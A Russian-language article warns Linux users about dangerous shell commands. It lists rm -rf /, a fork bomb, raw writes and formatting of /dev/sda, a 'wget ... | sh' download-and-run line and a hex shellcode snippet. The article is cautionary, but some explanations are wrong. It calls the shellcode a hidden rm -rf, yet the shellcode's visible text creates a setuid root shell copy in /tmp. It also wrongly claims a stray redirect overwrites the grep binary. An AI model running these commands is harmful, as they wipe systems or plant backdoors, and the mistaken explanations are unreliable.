Командная строка Linux — очень продуктивная, полезная и интересная, но иногда она может быть очень опасной, особенно когда вы не уверены, что вы делаете. Для некоторых команд в командной строке вы должны перепроверить синтаксис дважды, прежде чем нажмёте Enter.
Команда rm -rf
Команда rm -rf — это один из самых быстрых способов удалить каталог и его содержимое. Но небольшая опечатка или незнание могут привести к непоправимому разрушению системы. Некоторые опции, используемые с командой rm.
- rm в Linux используется для удаления файлов.
- Команда rm -r удаляет каталог рекурсивно, даже если он непустой.
- Команда rm -f удаляет файлы без запроса файлы ‘Только для чтения’.
- rm -rf / : Принудительное удаление всего в корневой директории.
- rm -rf * : Принудительное удаление всего в текущей/рабочей директории.
- rm -rf . : Принудительное удаление всего в текущей директории и поддиректориях.
Следовательно, нужно быть осторожным, когда вы выполняете команду rm -rf. Чтобы обойти несчастные случаи с удалением файлов командой ‘rm‘, сделайте псевдоним (алиас) команды с параметром rm -i в файле “.bashrc”, после этого всегда будет появляться запрос при любому удалении.
Команда :(){ :|:& };:
В действительности эта команда является логической бомбой. Она оперирует определением функции с именем ‘:‘, которая вызывает сама себя дважды: один раз на переднем плане и один раз в фоне. Она продолжает своё выполнение снова и снова, пока система не зависнет.
1
|
:(){ :|:& };: |
Команда > /dev/sda
Вышеприведённый пример пишет вывод «команды» в блок /dev/sda. Вышеприведённая команда пишет сырые данные и все файлы в блоке будут заменены сырыми данными, это станет причиной полной потери данных блока.
mv folder /dev/null
Команда mv переместит ‘folder‘ в /dev/null. В Linux /dev/null или null устройство — это специальный файл, который сбрасывает все данные, записанные в него, и сообщает, что операция записи прошла успешно.
1
|
# mv /home/user/* /dev/null |
Вышеприведённая команда переместит всё содержимое пользовательских директорий user в /dev/null, что фактически является переносом всех данных в чёрную дыру (null).
wget http://malicious_source -O- | sh
Этот пример wget загрузит скрипт из вредоносного источника и выполнитего
mkfs.ext3 /dev/sda
Этот пример отформатирует ‘sda’. После выполнения данной команды ваш жёсткий диск будет помечен как «Новый». Вы останетесь без каких либо данных и с системой не подлежащей восстановлению.
> file
Эта команда используется для стирания текущего файла. Если эта команда будет выполнена с опечаткой или незнанием вроде “> xt.conf”, то это сотрёт конфигурационный или любой другой файл.
Это распространённая ошибка начинающих пользователей командной строки, когда они путают символы | (труба) и > (перенаправление вывода).
Например, вот так правильно:
1
|
echo 456 | grep -E '[0-9]' |
А вот так вы затрёте бинарный файл:
1
|
echo 456 > grep -E '[0-9]' |
^foo^bar
Эта команда используется для редактирования предыдущей запущенной команды без необходимости снова заново печатать всю команду. Это может быть действительно опасно.
dd if=/dev/random of=/dev/sda
Эта dd сотрёт блок устройства sda и заполнит его рандомным мусором. Система будет неработоспособной.
Скрытая команда
Команда ниже — это ничего более как rm -rf. Эта команда спрятана в шестнадцатеричную запись и пользователь может быть одурачен и запустить её. Запуск этого кода сотрёт ваш корневой раздел. Эта команда показывает здесь, что опасность может быть спрятана и иногда её трудно выявить.
1
2
3
4
5
6
7
8
9
10
11
|
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “ cp -p /bin/sh /tmp/ .beyond; chmod 4755 /tmp/ .beyond;”; |